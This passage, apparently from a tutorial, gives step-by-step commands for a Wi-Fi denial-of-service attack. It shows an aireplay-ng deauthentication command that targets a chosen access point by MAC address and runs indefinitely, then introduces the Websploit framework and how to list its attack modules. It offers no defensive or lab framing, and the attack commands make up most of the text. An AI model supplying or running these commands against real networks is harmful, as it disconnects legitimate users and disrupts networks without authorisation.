First identify the target AP's MAC address, then use the following command:
sudo aireplay-ng -0 0 -a <Target AP's MAC> <WLAN Name>
Note: -0 0 will execute deauth to infinity
Websploit is another tool that can be used, but you'll need to install it first.
Using the terminal execute the app as follows.
websploit
Available modules can be seen by executing the following.
show modules